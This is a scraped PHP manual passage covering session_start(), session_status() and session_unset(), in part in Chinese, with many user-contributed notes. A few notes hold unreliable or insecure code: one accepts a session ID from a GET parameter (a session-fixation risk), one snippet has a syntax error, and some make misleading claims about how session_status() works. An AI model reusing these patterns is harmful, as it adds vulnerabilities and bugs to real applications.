This example is for file based session.
For other modes of session check function session_set_save_handler.
Anonymous 04-Nov-2020 02:44
Be careful with the 'read_and_close' option. It doesn't update the session file's last modification time unlike the default PHP behaviour when you don't close the session (or when you use session_write_close explicitly).
Old session files (for me, older than 24 minutes) will be occasionally cleared by the garbage collector (for me every 09 and 39 minute of every hour).
So a session can disappear even if the page regularly sends requests to the server that only reads and closes the session.
hu60 dot cn at gmail dot com 09-Jun-2019 12:43
The following code shows how the PHP session works. The function my_session_start() does almost the same thing as session_start().

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('session.save_path', __DIR__);

my_session_start();

echo '<p>session id: '.my_session_id().'</p>';

echo '<code><pre>';
var_dump($_SESSION);
echo '</pre></code>';

$now = date('H:i:s');
if (isset($_SESSION['last_visit_time'])) {
  echo '<p>Last Visit Time: '.$_SESSION['last_visit_time'].'</p>';
}
echo '<p>Current Time: '.$now.'</p>';

$_SESSION['last_visit_time'] = $now;

function my_session_start() {
  global $phpsessid, $sessfile;

  if (!isset($_COOKIE['PHPSESSID']) || empty($_COOKIE['PHPSESSID'])) {
    $phpsessid = my_base32_encode(my_random_bytes(16));
    setcookie('PHPSESSID', $phpsessid, ini_get('session.cookie_lifetime'), ini_get('session.cookie_path'), ini_get('session.cookie_domain'), ini_get('session.cookie_secure'), ini_get('session.cookie_httponly'));
  } else {
    $phpsessid = substr(preg_replace('/[^a-z0-9]/', '', $_COOKIE['PHPSESSID']), 0, 26);
  }

  $sessfile = ini_get('session.save_path').'/sess_'.$phpsessid;
  if (is_file($sessfile)) {
    $_SESSION = unserialize(file_get_contents($sessfile));
  } else {
    $_SESSION = array();
  }
  register_shutdown_function('my_session_save');
}

function my_session_save() {
  global $sessfile;

  file_put_contents($sessfile, serialize($_SESSION));
}

function my_session_id() {
  global $phpsessid;
  return $phpsessid;
}

function my_random_bytes($length) {
  if (function_exists('random_bytes')) {
      return random_bytes($length);
  }
  $randomString = '';
  for ($i = 0; $i < $length; $i++) {
      $randomString .= chr(rand(0, 255));
  }
  return $randomString;
}

function my_base32_encode($input) {
  $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
  $output = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($input); $i < $j; $i++) {
    $v <<= 8;
    $v += ord($input[$i]);
    $vbits += 8;
    while ($vbits >= 5) {
      $vbits -= 5;
      $output .= $BASE32_ALPHABET[$v >> $vbits];
      $v &= ((1 << $vbits) - 1);
    }
  }
  if ($vbits > 0) {
    $v <<= (5 - $vbits);
    $output .= $BASE32_ALPHABET[$v];
  }
  return $output;
}
Nathan 21-Feb-2019 03:30
Btw you can use:

if (!isset($_SESSION)) {
// We love every user
session_start();
// Then refresh for changes to take affect
header("location: ../../");
} elseif ($_SESSION["user] == "123ABC - abcmouse.com") {
/* We don't like this user, so let's kick them out of
 the session */
session_destroy();
// Then refresh for changes to take affect
header("location: ../../");
}
marco dot agnoli at me dot com 10-Aug-2017 07:50
I recently made an interesting observation:

It seems that `session_start()` can return `true` even if the session was not properly created. In my case, the disk storage was full and so the session data could not be written to disk. I had some logic that resulted in an infinite loop when the session was not written to disk.

To check if the session really was saved to disk I used:

```
<?php

function safe_session_start() {
    # Attempt to start a session
    if (!@\session_start()) return false;

    #
    # Check if we need to perform
    # the write test.
    #
    if (!isset($_SESSION['__validated'])) {
        $_SESSION['__validated'] = 1;

        # Attempt to write session to disk
        @\session_write_close();

        # Unset the variable from memory.
        # This step may be unnecessary
        unset($_SESSION['__validated']);

        # Re-start session
        @\session_start();

        # Check if variable value is retained
        if (!isset($_SESSION['__validated'])) {
            # Session was not written to disk
            return false;
        }
    }

    return true;
}

if (!safe_session_start()) {
    # Sessions are probably not written to disk...
    # Handle error accordingly.
}

?>
```

Took me quite a while to figure this out.

Maybe it helps someone!
axew3 at axew3 dot com 04-Jul-2017 12:23
X Maintainers ... Sorry to be such pain the ass, please delete this duplicate, because submitted in a crazy 'session' where i've mess things between browser tabs ... sorry again, alessio
http://php.net/manual/en/function.session-start.php#121310
axew3 at axew3 dot com 04-Jul-2017 10:30
I just need with easy, count how many times the page reload over the site, may to add a warning popup, while the counter is 0:

session_start();
if(isset($_SESSION['count'])){
$count = $_SESSION['count'];
$count++;
$count = $_SESSION['count'] = $count;
} else {
    $count = $_SESSION['count'] = 0;
}
echo $count;

//session_destroy();
axew3 at axew3 dot com 04-Jul-2017 10:19
I need, with easy, count how many times the page reload over the site, may to add a warning popup, while the counter is 0 ...
session_start();
if(isset($_SESSION['count'])){
$count = $_SESSION['count'];
$count++;
$count = $_SESSION['count'] = $count;
} else {
    $count = $_SESSION['count'] = 0;
}
echo $count;

//session_destroy();
tom at bitworks dot de 11-Jun-2017 02:15
A simple session_start() will not be sufficiant to kepp you Session alive.
Due to the filesystems mounting parameters, atime will normally not be updated. Instead of atime, mtime will be delivered.

This behavior may cause an early session death and your users my be kicked of your login system.

To keep the session alive it will be necessary to write something into the sessionfile at each request, e. g. a simple

 "$_SESSION['time'] = time();"

That would keep your session alive, even if the client in reality is only clicking around the site.
ivijan dot stefan at gmail dot com 26-Feb-2017 07:59
How to fix session_start error?

Sometimes when you made plugins, addons or some components in projects you need to check if session is started and if is not, you need to start it with no session_start() errors.

Here is my tested solution what currently work on +9000 domains and in one my plugin but also in some custom works.

<?php
if (strnatcmp(phpversion(),'5.4.0') >= 0)
{
    if (session_status() == PHP_SESSION_NONE) {
        session_start();
    }
}
else
{
    if(session_id() == '') {
        session_start();
    }
}
?>

Feel free to use it and don't worry, be happy. ;)
bachtel at [googles email service]dotcom 03-Feb-2017 07:54
If you are using a custom session handler via session_set_save_handler() then calling session_start() in PHP 7.1 you might see an error like this:
session_start(): Failed to read session data: user (path: /var/lib/php/session) in ...

As of this writing, it seems to be happening in PHP 7.1, and things look OK in PHP7.0.

It is also hard to track down because if a session already exists for this id (maybe created by an earlier version of PHP), it will not trigger this issue because the $session_data will not be null.

The fix is simple... you just need to check for 'null' during your read function:

<?php

function read($id)
{
  //... pull the data out of the DB, off the disk, memcache, etc
  $session_data = getSessionDataFromSomewhere($id);

  //check to see if $session_data is null before returning (CRITICAL)
  if(is_null($session_data))
  {
    $session_data = '';  //use empty string instead of null!
  }

  return $session_data;
}

?>
chris at ocproducts dot com 21-Jan-2017 06:56
Initiating a session may overwrite your own custom cache control header, which may break clicking back to get back to a prior post request (on Chrome at least).
On my system it was setting 'no-store', which is much more severe than 'no-cache' and what was breaking the back-button.

If you are controlling your own cache headers carefully you need to call:
session_cache_limiter('');

...to stop it changing your cache control headers.
fabmlk at hotmail dot com 28-Dec-2015 02:04
If you ever need to open multiple distinct sessions in the same script and still let PHP generate session ids for you, here is a simple function I came up with (PHP default session handler is assumed):

<?php
/**
  * Switch to or transparently create session with name $name.
  * It can easily be expanded to manage different sessions lifetime.
  */
function session_switch($name = "PHPSESSID") {
        static $created_sessions = array();

        if (session_id() != '') { // if a session is currently opened, close it
            session_write_close();
        }
        session_name($name);
        if (isset($_COOKIE[$name])) {    // if a specific session already exists, merge with $created_sessions
            $created_sessions[$name] = $_COOKIE[$name];
        }
        if (isset($created_sessions[$name])) { // if existing session, impersonate it
            session_id($created_sessions[$name]);
            session_start();
        } else { // create new session
            session_start();
            $_SESSION = array(); // empty content before duplicating session file
                        // duplicate last session file with new id and current $_SESSION content
                        // If this is the first created session, there is nothing to duplicate from and passing true as argument will take care of "creating" only one session file
            session_regenerate_id(empty($created_sessions));
            $created_sessions[$name] = session_id();
        }
}

session_switch("SESSION1");
$_SESSION["key"] = "value1"; // specific to session 1
session_switch("SESSION2");
$_SESSION["key"] = "value2"; // specific to session 2
session_switch("SESSION1");
// back to session 1
// ...
?>

When using this function, session_start() should not be called on its own anymore (can be replaced with a call to session_switch() without argument).
Also remember that session_start() sets a Set-Cookie HTTP header on each call, so if you echo in-between sessions, wrap with ouput buffering.

Note: it's probably rarely a good idea to handle multiple sessions so think again if you think you have a good use for it.
Personally it played its role for some quick patching of legacy code I had to maintain.
aaronw at catalyst dot net dot nz 23-Apr-2015 06:56
As others have noted, PHP's session handler is blocking. When one of your scripts calls session_start(), any other script that also calls session_start() with the same session ID will sleep until the first script closes the session.

A common workaround to this is call session_start() and session_write_close() each time you want to update the session.

The problem with this, is that each time you call session_start(), PHP prints a duplicate copy of the session cookie to the HTTP response header. Do this enough times (as you might do in a long-running script), and the response header can get so large that it causes web servers & browsers to crash or reject your response as malformed.

This error has been reported to PHP HQ, but they've marked it "Won't fix" because they say you're not supposed to open and close the session during a single script like this. https://bugs.php.net/bug.php?id=31455

As a workaround, I've written a function that uses headers_list() and header_remove() to clear out the duplicate cookies. It's interesting to note that even on requests when PHP sends duplicate session cookies, headers_list() still only lists one copy of the session cookie. Nonetheless, calling header_remove() removes all the duplicate copies.

<?php
/**
 * Every time you call session_start(), PHP adds another
 * identical session cookie to the response header. Do this
 * enough times, and your response header becomes big enough
 * to choke the web server.
 *
 * This method clears out the duplicate session cookies. You can
 * call it after each time you've called session_start(), or call it
 * just before you send your headers.
 */
function clear_duplicate_cookies() {
    // If headers have already been sent, there's nothing we can do
    if (headers_sent()) {
        return;
    }

    $cookies = array();
    foreach (headers_list() as $header) {
        // Identify cookie headers
        if (strpos($header, 'Set-Cookie:') === 0) {
            $cookies[] = $header;
        }
    }
    // Removes all cookie headers, including duplicates
    header_remove('Set-Cookie');

    // Restore one copy of each cookie
    foreach(array_unique($cookies) as $cookie) {
        header($cookie, false);
    }
}
?>
elitescripts2000 at yahoo dot com 25-Jan-2014 03:56
3 easy but vital things about Sessions in AJAX Apps.

<?php
// session start

//  It is VERY important to include a Period if using
// a whole domain.  (.yourdomain.com)
// It is VERY important to set the root path your session will always
// operate in... (/members) will ensure sessions will NOT be interfered
// with a session with a path of say (/admin) ... so you can log in
// as /admin and as /members... NEVER do unset($_SESSION)
// $_SESSION=array(); is preferred, session_unset();  session_destroy();

session_set_cookie_params(0, '/members', '.yourdomain.com', 0, 1);
session_start();
$_SESSION = array();
session_unset();
session_destroy();

session_set_cookie_params(0, '/members', '.yourdomain.com', 0, 1);
session_start();

$_SESSION['whatever'] = 'youwhat';

// session destroying

// To be safe, clear out your $_SESSION array
// Next, what most people do NOT do is delete the session cookie!
// It is easy to delete a cookie by expiring it long before the current time.
// The ONLY WAY to delete a cookie, is to make sure ALL parameters match the
// cookie to be deleted...which is easy to get those params with
// session_get_cookie_params()...
// FInally, use  session_unset(); and session_destroy(); in this order to ensure
// Chrome, IE, Firefox and others, are properly destroying the session.
$_SESSION = array();
if (ini_get('session.use_cookies'))
{
    $p = session_get_cookie_params();
    setcookie(session_name(), '', time() - 31536000, $p['path'], $p['domain'], $p['secure'], $p['httponly']);
 }
session_unset();
session_destroy();

// AJAX and SESSIONS.
// Example... you start a session based PHP page, which then calls an Ajax (XMLHTTP) authenticated
// using the SAME SESSION to Poll and output the data, for example.  But, you notice when you
// try to start the Polling AJAX call always HANGS and seems to hang at the session_start().
// This is because the session is opened in the first page, calls the AJAX polling example, and
// tries to open the same session (for authentication) and do the AJAX call, you MUST call
// session_write_close(); meaning you are done writing to the $_SESSION variable, which really
// represents a file that must be CLOSED with session_write_close();....
// THAN you can call your AJAX Polling code to reopen the same session and do its polling...
// Normally, the $_SESSION is closed automatically when the script is closed or finished executing
// So, if you need to keep a PHP page running after opening a SESSION, simply close it when finished
// writing to $_SESSION so the AJAX polling page can authenticate and use the same session in a
// seperate web page...

session_write_close();

?>

Hope this helps someone with their sessions...
Thanks.
ohcc at 163 dot com 25-Dec-2013 04:00
The constant SID would always be '' (an empty string) if directive session.use_trans_sid in php ini file is set to 0.

So remember to set session.use_trans_sid to 1 and restart your server before you use SID in your php script.
ilnomedellaccount at gmail dot com 13-Aug-2013 03:53
A note about session_start(), custom handlers and database foreign key constraints, which I think may be of some use...

We know that if we want our sessions into a database table (rather than the default storage), we can refer to session_set_save_handler(...) to get them there. Note that session_set_save_handler must (obviously) be called before session_start(), but let me get to the point...

Upon calling session_start() the "first time", when the session does not already exist, php will spawn a new session but will not call the write handler until script execution finishes.

Thus, the session at this point exists in the server process memory, but won't be visible as a row in the DB before the script ends.

This seems reasonable, because this avoids some unnecessary database access and resource usage before we even populate our session with meaningfull and definitive data, but this also has side-effects.

In my case, the script called session_start() to make sure a session was initiated, then used session_id() to populate another table in the DB, which had foreign_key constraint to the "sessions" table. This failed because no session was in the db at that point, yet!

I know I could simply force the creation of the row in the DB by manually calling the write handler after session_start(), when necessary, but I am not sure if this is the best possible approach.

As soon as I find an "elegant" solution, or a completely different approach, I will post some working sample code.

In the meanwhile... have fun!
someOne_01 at somewhere dot com 17-Nov-2012 02:30
When you have an import script that takes long to execute, the browser seem to lock up and you cannot access the website anymore. this is because a request is reading and locking the session file to prevent corruption.

you can either
- use a different session handler with session_set_save_handler()
- use session_write_close() in the import script as soon you don't need session anymore (best moment is just before the long during part takes place), you can session_start when ever you want and as many times you like if your import script requires session variables changed.

example
<?php
session_start(); //initiate / open session
$_SESSION['count'] = 0; // store something in the session
session_write_close(); //now close it,
# from here every other script can be run (and makes it seem like multitasking)
for($i=0; $i<=100; $i++){ //do 100 cycles
    session_start(); //open the session again for editing a variable
    $_SESSION['count'] += 1; //change variable
    session_write_close(); //now close the session again!
    sleep(2); //every cycle sleep two seconds, or do a heavy task
}
?>
sanjuro at 1up-games dot com 18-Aug-2011 11:56
The problem with SID is that if on occasions you don't start a session, instead of outputting an empty string for transparent integration it will return the regular undefined constant notice. So you might want to test the constant with defined() beforehand.
linblow at hotmail dot fr 16-Feb-2011 05:06
If you want to handle sessions with a class, I wrote this little class:

<?php

/*
    Use the static method getInstance to get the object.
*/

class Session
{
    const SESSION_STARTED = TRUE;
    const SESSION_NOT_STARTED = FALSE;

    // The state of the session
    private $sessionState = self::SESSION_NOT_STARTED;

    // THE only instance of the class
    private static $instance;

    private function __construct() {}

    /**
    *    Returns THE instance of 'Session'.
    *    The session is automatically initialized if it wasn't.
    *
    *    @return    object
    **/

    public static function getInstance()
    {
        if ( !isset(self::$instance))
        {
            self::$instance = new self;
        }

        self::$instance->startSession();

        return self::$instance;
    }

    /**
    *    (Re)starts the session.
    *
    *    @return    bool    TRUE if the session has been initialized, else FALSE.
    **/

    public function startSession()
    {
        if ( $this->sessionState == self::SESSION_NOT_STARTED )
        {
            $this->sessionState = session_start();
        }

        return $this->sessionState;
    }

    /**
    *    Stores datas in the session.
    *    Example: $instance->foo = 'bar';
    *
    *    @param    name    Name of the datas.
    *    @param    value    Your datas.
    *    @return    void
    **/

    public function __set( $name , $value )
    {
        $_SESSION[$name] = $value;
    }

    /**
    *    Gets datas from the session.
    *    Example: echo $instance->foo;
    *
    *    @param    name    Name of the datas to get.
    *    @return    mixed    Datas stored in session.
    **/

    public function __get( $name )
    {
        if ( isset($_SESSION[$name]))
        {
            return $_SESSION[$name];
        }
    }

    public function __isset( $name )
    {
        return isset($_SESSION[$name]);
    }

    public function __unset( $name )
    {
        unset( $_SESSION[$name] );
    }

    /**
    *    Destroys the current session.
    *
    *    @return    bool    TRUE is session has been deleted, else FALSE.
    **/

    public function destroy()
    {
        if ( $this->sessionState == self::SESSION_STARTED )
        {
            $this->sessionState = !session_destroy();
            unset( $_SESSION );

            return !$this->sessionState;
        }

        return FALSE;
    }
}

/*
    Examples:
*/

// We get the instance
$data = Session::getInstance();

// Let's store datas in the session
$data->nickname = 'Someone';
$data->age = 18;

// Let's display datas
printf( '<p>My name is %s and I\'m %d years old.</p>' , $data->nickname , $data->age );

/*
    It will display:

    Array
    (
        [nickname] => Someone
        [age] => 18
    )
*/

printf( '<pre>%s</pre>' , print_r( $_SESSION , TRUE ));

// TRUE
var_dump( isset( $data->nickname ));

// We destroy the session
$data->destroy();

// FALSE
var_dump( isset( $data->nickname ));

?>

I prefer using this class instead of using directly the array $_SESSION.
anon at ymous dot com 04-Feb-2011 01:51
I am trying to get a session created by a browser call to be used by a command line cli->curl php call (in this case, both calls to the same server and php.ini), for a set of flexible media import routines,

but the cli->curl call always starts a new session despite me putting PHPSESSID=validID as the first parameter for the url called by curl.

I was able to fix it by calling session_id($_GET['PHPSESSID']) before calling session_start() in the script called via curl.
dave1010 at gmail dot com 17-Dec-2010 01:35
PHP locks the session file until it is closed. If you have 2 scripts using the same session (i.e. from the same user) then the 2nd script will not finish its call to session_start() until the first script finishes execution.

If you have scripts that run for more than a second and users may be making more than 1 request at a time then it is worth calling session_write_close() as soon as you've finished writing session data.

<?php
// a lock is places on the session, so other scripts will have to wait
session_start();

// do all your writing to $_SESSION
$_SESSION['a'] = 1;

// $_SESSION can still be read, but writing will not update the session.
// the lock is removed and other scripts can now read the session
session_write_close();

do_something_slow();
?>

Found this out from http://konrness.com/php5/how-to-prevent-blocking-php-requests/
info.at.merchandisinginteractive.sk 01-Mar-2010 06:46
A handy script that checks fot the presence of uft-8 byte order mark (BOM) in all files in all directories starting on current dir. Combined from the work of other people here...

<?php
function fopen_utf8 ($filename) {
    $file = @fopen($filename, "r");
    $bom = fread($file, 3);
    if ($bom != b"\xEF\xBB\xBF")
    {
        return false;
    }
    else
    {
        return true;
    }
}

function file_array($path, $exclude = ".|..|design", $recursive = true) {
    $path = rtrim($path, "/") . "/";
    $folder_handle = opendir($path);
    $exclude_array = explode("|", $exclude);
    $result = array();
    while(false !== ($filename = readdir($folder_handle))) {
        if(!in_array(strtolower($filename), $exclude_array)) {
            if(is_dir($path . $filename . "/")) {
                                // Need to include full "path" or it's an infinite loop
                if($recursive) $result[] = file_array($path . $filename . "/", $exclude, true);
            } else {
                if ( fopen_utf8($path . $filename) )
                {
                    //$result[] = $filename;
                    echo ($path . $filename . "<br>");
                }
            }
        }
    }
    return $result;
}

$files = file_array(".");
?>
info at nospam dot mmfilm dot sk 29-Dec-2009 07:58
For those of you running in problems with UTF-8 encoded files:

I was getting an error because of the BOM, although i set Dreamweaver to "save as" the without the BOM. It appears that DW will not change this setting in already existing files. After creating a new file withou the BOM, everything worked well.

I also recommend http://people.w3.org/rishida/utils/bomtester/index.php - a utility that remote checks for the presence of BOM.
jamestrowbridge at gmail dot com 29-Dec-2009 09:57
Unfortunately, after pulling my hair out trying to figure out why my application was working fine in every browser other than IE ( Internet Explorer) (Opera, Chrome, Firefox, Safari are what I've tested this in) - when using a DNS CNAME record (like a vanity name that is different from the DNS A record, which is the hostname of the server) sessions do not work correctly.

If you store a session var while on the CNAME:
vanity.example.com and the hostname of the server is hosname.example.com
Then try to call the variable from a different page, it will not find it because of the CNAME (I guess it store the variable under the hostname, then when trying to read it it's still looking under the CNAME) the same application works fine when accessing it under the hostname directly.  Keep in mind that I was testing this on an internal network.
Charlie at NOSPAM dot example dot com 22-Sep-2009 07:04
Be warned that depending on end of script to close the session will effectively serialize concurrent session requests.   Concurrent background "data retrieval" (e.g. applications such as AJAX or amfphp/Flex) expecting to retrieve data in parallel can fall into this trap easily.

Holding the session_write_close until after an expensive operation is likewise problematic.

To minimize effects, call session_write_close (aka session_commit) as early as practical (e.g. without introducing race conditions) or otherwise avoid the serialization bottleneck.
schlang 26-Jul-2009 10:44
if you store your sessions in a database, always ensure that the type of the database column is large enough for your session values
emre@yazici 23-Jul-2009 02:46
PHP Manual specifically denotes this common mistake:

Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)!

See session_id() manual page for more details.
dstuff at brainsware dot org 21-Jul-2009 05:53
It seems like spaces in the name don't work either - got a new session id generated each time
andy_isherwood at hotmail dot com 18-Nov-2008 06:54
A session created with session_start will only be available to pages within the directory tree of the page that first created it.

i.e. If the page that first creates the session is /dir1/dir2/index.php and the user then goes to any page above dir2 (e.g. /dir1/index.php), session_start will create a new session rather than use the existing one.
jphansen at uga dot edu 25-Feb-2008 11:12
I just wrote that session_start() will erase your querystring variable(s) once called. I want to clarify that it will only do this if a variable by the same subscript is defined in $_SESSION[].
leandroico---at---gmail---dot---com 17-Mar-2007 04:21
TAGS: session_start headers output errors include_once require_once php tag new line

Errors with output headers related to *session_start()* being called inside include files.

If you are starting your session inside an include file you must be aware of the presence of undesired characters after php end tag.

Let's take an example:
> page.php
<?php
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';

echo "Damn! Why I'm having these output header errors?";
?>

> i_have_php_end_tag.inc.php
<?php
$_JUST_A_GLOBAL_VAR = 'Yes, a global var, indeed';
?>

> init_session.inc.php
<?php
session_start();
$_SESSION['blabla'] = 123;
?>

With all this stuff we will get an error, something like:
"... Cannot send session cache limiter - headers already sent (output started at ...", right?

To solve this problem we have to ignore all output sent by include files. To ensure that we need to use the couple of functions: *ob_start()* and *ob_end_clean()* to suppress the output. So, all we have to do is changing the *page.php* to this:

<?php
ob_start();
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';
ob_end_clean();

echo "Woo hoo! All right! Die you undesired outputs!!!";
?>
ben dot morin at spaboom dot com 29-Sep-2006 09:49
James at skinsupport dot com raises a good point (warning) about additional requests from the browser.  The request for favicon.ico, depending on how it is handled, can have unintended results on your sessions.

For example, suppose you have ErrorDocument 404 /signin.php, no favicon.ico file and all pages in your site where the user signs in are also redirected to /signin.php if they're not already signed in.

If signin.php does any clean up or reassigning of session_id (as all good signin.php pages should) then the additional request from the browser for favicon.ico could potentially corrupt the session as set by the actual request.

Kudos to James for pointing it out and shame on me for skimming past it and not seeing how it applied to my problem.  Thanks too to the Firefox Live HTTP Headers extension for showing the additional request.

Don't waste days or even hours on this if your session cookies are not being sent or if the session data isn't what you expect it to be.  At a minimum, eliminate this case and see if any additional requests could be at fault.
James 13-Jul-2006 04:22
To avoid the notice commited by PHP since 4.3.3 when you start a session twice, check session_id() first:

if (session_id() == "")
  session_start();
james at skinsupport dot com 22-Dec-2005 06:17
One thing of note that caused me three days of trouble:

It's important to note that Firefox (for one) makes two calls to the server automatically.  One for the page, and one for favicon.ico.

If you are setting session variables (as I was) to certain values when a page exists, and other values when pages don't exist, the values for non-existent pages will overwrite the values for existing pages if favicon.ico doesn't exist.

I doubt many of you are doing this, but if you are, this is a consideration you need to address or you'll be bald over the course of a three day period!
erm[at]the[dash]erm[dot]com 27-May-2005 01:04
If you are insane like me, and want to start a session from the cli so other scripts can access the same information.

I don't know how reliable this is.  The most obvious use I can see is setting pids.

// temp.php

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

if ($_SESSION) {
    print_r ($_SESSION);
}

$_SESSION['test'] = "this is a test if sessions are usable inside scripts";

?>

// Temp 2

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

    print_r ($_SESSION);

?>
jorrizza at gmail dot com 02-Apr-2005 05:33
If you open a popup window (please no commercial ones!) with javascript window.open it might happen IE blocks the session cookie.
A simple fix for that is opening the new window with the session ID in a GET value. Note I don't use SID for this, because it will not allways be available.

----page.php----
//you must have a session active here
window.open('popup.php?sid=<?php echo session_id(); ?>', '700x500', 'toolbar=no, status=no, scrollbars=yes, location=no, menubar=no, directories=no, width=700, height=500');

----popup.php----
<?php
session_id(strip_tags($_GET['sid']));
session_start();
//and go on with your session vars
?>
hbertini at sapo dot pt 13-Mar-2005 12:29
workaround when using session variables in a .php file referred by a frame (.html, or other file type) at a different server than the one serving the .php:

Under these conditions IE6 or later silently refuses the session cookie that is attempted to create (either implicitly or explicitly by invoquing session_start()).

As a consequence, your session variable will return an empty value.

According to MS kb, the workaround is to add a header that says your remote .php page will not abuse from the fact that permission has been granted.

Place this header on the .php file that will create/update the session variables you want:

<?php header('P3P: CP="CAO PSA OUR"'); ?>

Regards,
Hugo
m dot kuiphuis at hccnet dot nl 24-Jun-2003 03:37
[Editors Note: For more information about this
http://www.zvon.org/tmRFC/RFC882/Output/chapter5.html ]

I use name-based virtual hosting on Linux with Apache and PHP 4.3.2.
Every time when I refreshed (by pressing F5 in Internet Explorer) I noticed that I got a new session_id. Simultaneously browsing the same site with Netscape didn't give me that problem. First I thought this was some PHP issue (before I tested it with Netscape), but after searching a lot on the internet I found the problem.
Since I was using name based virtual hosting for my testserver and we have different webshops for different customers I used the syntax webshop_customername.servername.nl as the domain-name.
The _ in the domain name seemed to be the problem. Internet Explorer just denies setting the cookie on the client when there is a special character (like an _ ) in the domain name. For more information regarding this issue: http://support.microsoft.com/default.aspx?scid=kb;EN-US;316112
Stupidly enough, this information was related to asp (yuk :o)


返回当前会话状态

  • ? session_start
  • session_unset ?
  • PHP Manual
  • Session 函数
  • 返回当前会话状态

session_status

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

session_status — 返回当前会话状态

说明

session_status(): int

session_status() 被用于返回当前会话状态。

参数

此函数没有参数。

返回值

  • PHP_SESSION_DISABLED 会话是被禁用的。
  • PHP_SESSION_NONE 会话是启用的，但不存在当前会话。
  • PHP_SESSION_ACTIVE 会话是启用的，而且存在当前会话。

参见

  • session_start() - 启动新会话或者重用现有会话

User Contributed Notes

polygon dot co dot in at gmail dot com 08-Oct-2021 08:53
Note session_status() is for file based session only.

DB based session status needs to have custom function based on table structure.
info at eurocron dot de 06-Dec-2018 04:47
Use always session_status(), to check if a session is already started and active.
if(session_status() !== PHP_SESSION_ACTIVE) session_start();
or
if(session_status() === PHP_SESSION_NONE) session_start();

Don't use
if(!isset($_SESSION)) session_start();
or
if(session_id() === "") session_start();

They will not work properly after a call to session_write_close().
Both functions will continue to report, that the session exists.
And this is right, you can read from $_SESSION, but if you want to write,
you need session_start() again.

As a shorthand you can use
@session_start()
with the @ at the beginning to suppress the
PHP notice "A session had already been started - ignoring session_start()"

As stated in the manual for session_start(), a second call will do no harm,
it will be simply ignored. But you need the @, if you don't want to get the notice.
solaimanshah059 at gmail dot com 18-Aug-2018 09:10
Here some Good example for your understandingl

<?php

if( session_status == PHP_SESSION_NONE ) // if session status is none then start the session
{
     session_start();
}

?>

old Practice we were using.

<?php

if( !( isset($_SESSION) ) ) // if the session is no  set then start to
 new session
{
     session_start();
}

?>
ayon at hyurl dot com 09-Oct-2016 05:17
This is how the session_status() works:
<?php
function session_status(){
    if(!extension_loaded('session')){
        return 0;
    }elseif(!file_exists(session_save_path().'/sess_'.session_id()){
        return 1;
    }else{
        return 2;
    }
}
?>
Ben (aocool at msn d0t com) 16-Feb-2016 08:46
Just another function to determine whether the session has already started:

function is_session_started () {
    return function_exists ( 'session_status' ) ? ( PHP_SESSION_ACTIVE == session_status () ) : ( ! empty ( session_id () ) );
}
sasi dot viragelet at gmail dot co 01-Feb-2015 10:45
Maybe depending on PHP settings, but if return values are not the above, then go for this:
_DISABLED = 0
_NONE = 1
_ACTIVE = 2
Ollea 29-Jan-2014 11:02
If you started and closed a session then test ( session_id() === '' ) to check if a session is active it won't work, session_id() returns an ID even if the session is closed.

Anybody knows another way before PHP 5.4 to check if a session is really not currently active ?
coder dot ua at gmail dot com 15-Oct-2013 02:13
Universal function for checking session status.

<?php
/**
 * @return bool
 */
function is_session_started()
{
    if ( php_sapi_name() !== 'cli' ) {
        if ( version_compare(phpversion(), '5.4.0', '>=') ) {
            return session_status() === PHP_SESSION_ACTIVE ? TRUE : FALSE;
        } else {
            return session_id() === '' ? FALSE : TRUE;
        }
    }
    return FALSE;
}

// Example
if ( is_session_started() === FALSE ) session_start();
?>
php at kenman dot net 02-Aug-2013 03:45
The purpose of this functionality can aid you specifically in cases where code -- prior to your current code -- might have opened a session and then closed it.

Specifically, depending on $_SESSION, session_id(), and the SID constant to determine if a session is active will FAIL if a session has previously been opened & closed within the same request cycle.

Please see the original bug report here:

https://bugs.php.net/bug.php?id=52982
php at pointpro dot nl 16-Apr-2013 07:06
The advice of ive_insomnia at live dot com should be taken with great care.

First of all, while his use case for session_status is valid, a simpler way to avoid the warning is:

<?php
if (!isset($_SESSION)) { session_start(); }
?>

The example of session_status uses the raw values of constants (2 in this case) created specifically for the purpose of not having to use magic numbers.

Better code would be:

<?php
if (session_status() !== PHP_SESSION_ACTIVE) {session_start();}
?>

The same can be done using

<?
if (session_id() === "") { session_start(); }
?>

The use of this function is lies more towards status management: change the behavior of a script when sessions are disabled altogether, for example.


释放所有的会话变量

  • ? session_status
  • session_write_close ?
  • PHP Manual
  • Session 函数
  • 释放所有的会话变量

session_unset

(PHP 4, PHP 5, PHP 7, PHP 8)

session_unset — 释放所有的会话变量

说明

session_unset(): bool

session_unset() 会释放当前会话注册的所有会话变量。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.2.0 | 此函数的返回类型现在是 bool。以前是 void。

注释

Note:

如果使用的是 $_SESSION，请使用 unset() 去 注销会话变量，即 unset($_SESSION['varname']);。

Caution

请不要使用 unset($_SESSION) 来释放整个 $_SESSION， 因为它将会禁用通过全局 $_SESSION 去注册会话变量。

Note:

session_unset() 的使用与 $_SESSION = [] 相同。

Caution

仅当 session 处于活动状态时，此函数才能起作用。如果 session 尚未启动或已经销毁，它将无法清除 $_SESSION 数组。即使 session 不活跃，请使用 $_SESSION = [] 来删除所有 session 变量。

User Contributed Notes

jerry 29-Oct-2015 12:37
The difference between both session_unset and session_destroy is as follows:

session_unset just clears out the session for usage. The session is still on the users computer. Note that by using session_unset, the variable still exists. session_unset just remove all session variables. it does not destroy the session....so the session would still be active.

Using session_unset in tandem with session_destroy however, is a much more effective means of actually clearing out data. As stated in the example above, this works very well, cross browser. session_destroy is destroy the session. session_destroy() to kill all session information.....This is the more secure function to use.
tim at leethost dot com 05-Jan-2012 03:50
I was having a problem clearing all session variables, deleting the session, and creating a new session without leaving old session stuff behind in all browsers.  The below code is perfect for a logout script to totally delete everything and start new.  It even works in Chrome which seems to not work as other browsers when trying do logout and start a new session.

<?php
    session_start();
    session_unset();
    session_destroy();
    session_write_close();
    setcookie(session_name(),'',0,'/');
